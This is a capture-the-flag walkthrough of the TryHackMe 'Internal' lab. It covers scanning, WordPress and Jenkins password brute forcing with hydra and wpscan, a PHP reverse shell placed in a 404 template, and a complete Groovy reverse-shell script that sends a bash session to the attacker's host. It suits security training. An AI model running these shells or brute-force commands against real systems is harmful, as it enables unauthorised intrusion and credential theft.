Skip to content


Notes from challenges I did @

This is a full write up of the Internal Penetration Testing Challenge:

Connect to tryhackme via openvpn e.g.: sudo openvpn 0xfab1.ovpn

Please note:

  • Flags are not fully written to avoid copy & paste ;)
  • I used an SSH-Tunnel in case you are wondering why I have "localhost" instead of an IP mentioned.

First Checks

Let's add internal.thm to the hosts file as requested and run nmap, niktio and gobuster to scan the target.

sudo echo internal.thm >> /etc/hosts

echo $IP
nmap -sC -sV $IP
nikto -h $IP


nmap -sC -sV $IP
Nmap scan report for
Host is up (0.020s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds


nikto -h $IP
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5abef58e962a5, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ Cookie wordpress_test_cookie created without the httponly flag
+ /blog/wp-login.php: Wordpress login found
+ 8042 requests: 0 error(s) and 11 item(s) reported on remote host
+ 1 host(s) tested


gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u
/blog                 (Status: 301) [Size: 311] [-->]
/wordpress            (Status: 301) [Size: 316] [-->]
/javascript           (Status: 301) [Size: 317] [-->]
/phpmyadmin           (Status: 301) [Size: 317] [-->]
/server-status        (Status: 403) [Size: 277]


wpscan --url -P rockyou.txt -U admin
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic -
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled:
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  -
 |  -
 |  -
 |  -
 |  -

[+] WordPress readme found:
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled:
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  -
 |  -

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Emoji Settings (Passive Detection)
 |  -, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  -, Match: 'WordPress 5.4.2'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <============================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / my2boys
Trying admin / lizzy Time: 00:01:19 <                                             > (3885 / 14348276)  0.02%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at

So now we can login to wordpress as admin and look around.

The wordpress page reveals a private note on credentals of william being william:arnold147 sofar this doesnt seem usable

Wordpress php reverse shell

I used this php reverse shell, modified IP and port and uploaded it to the wordpress 404 page. Now time to start netcat on the chosen port e.g. nc -lvnp 6666 and call a page that doesn't exist e.g. /blog/index.php/2020/08/03/50/ with e.g. curl.

We now get a reverse shell but no TTY so we can try this: python -c 'import pty; pty.spawn("/bin/sh")' or this /bin/sh -i.

Let's have a look around:

cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

The /home path shows one user "aubreanna" so let's use this to crack ssh using hydra:

hydra -l aubreanna -P rockyou.txt ssh

In parallel we can look for files containing "aubreanna":

find ./ -type f -iname "*.txt" -exec grep -l "aubreanna" {} \; 2>/dev/null
cat wp-save.txt

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.



So let's login via aubreanna: ssh aubreanna@ and we find the first flag (user.txt) in the home dir.

Unfortunately sudo -l is not allowed

aubreanna@internal:~$ sudo -l
[sudo] password for aubreanna:
Sorry, user aubreanna may not run sudo on internal.
aubreanna@internal:~$ id
uid=1000(aubreanna) gid=1000(aubreanna) groups=1000(aubreanna),4(adm),24(cdrom),30(dip),46(plugdev)

Let's try running linpeas on the system to find something interesting:

From the Kali system

scp aubreanna@

On the target machine as aubreanna:

chmod +x

Interessting finds are the mysqladmin credentials:

╔══════════╣ Analizing Wordpress Files (limit 70)
-rw-r--r-- 1 root root 3109 Aug  3  2020 /var/www/html/wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', 'wordpress123' );
define( 'DB_HOST', 'localhost' );

We also see we have Sudo running in version 1.8.21 and a check with searchsploit searchsploit sudo reveals a vulnerability to 1.8.20 "Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation", but no luck running the exploit.


wget -O exploit.c
gcc -o exploit exploit.c
scp exploit aubreanna@


chmod +x exploit
died in main: 57

I tried changing the c code but felt like a script kiddy as errors just moved on... so I gave up on this.


In the home folder of aubreanna there is txt mentioning a local jenkins server.

From kali lets tunnel local port 31340 with ssh to "" on internal.thm (which we modified at the beginning).

ssh -g -L31340: -l aubreanna internal.thm

We can the open jenkins from your kali machine e.g. http://localhost:31340 and analyse the login prompt with burpsuite:


Using the information from the intercepted post command of a failed login attempt we can build the hdyra brute-force attack:

hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 31340 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=&Submit=Sign+in:F=Invalid"

Jenkins groovy reverse shell

Luckily the password is simple and cracked rather fast using the rockyou.txt. Now that we are logged in as admin in the Jenkins portal let's run this groovy reverse shell in the jenkins script conosole and just changed "cmd" to "/bin/bash" as well as IP and port and started a new netcat session on port 7777

String host="";
int port=7777;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

We now have a reverse shell as user jenkins.

find / -type f -iname "*.txt" 2>/dev/null

The list is a little longer but the only interesting text file seems to be the note.

cat note.txt

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you
need access to the root user account.


Let ssh as root and see if we find the flag :)

ssh root@
root@internal:~# cat root.txt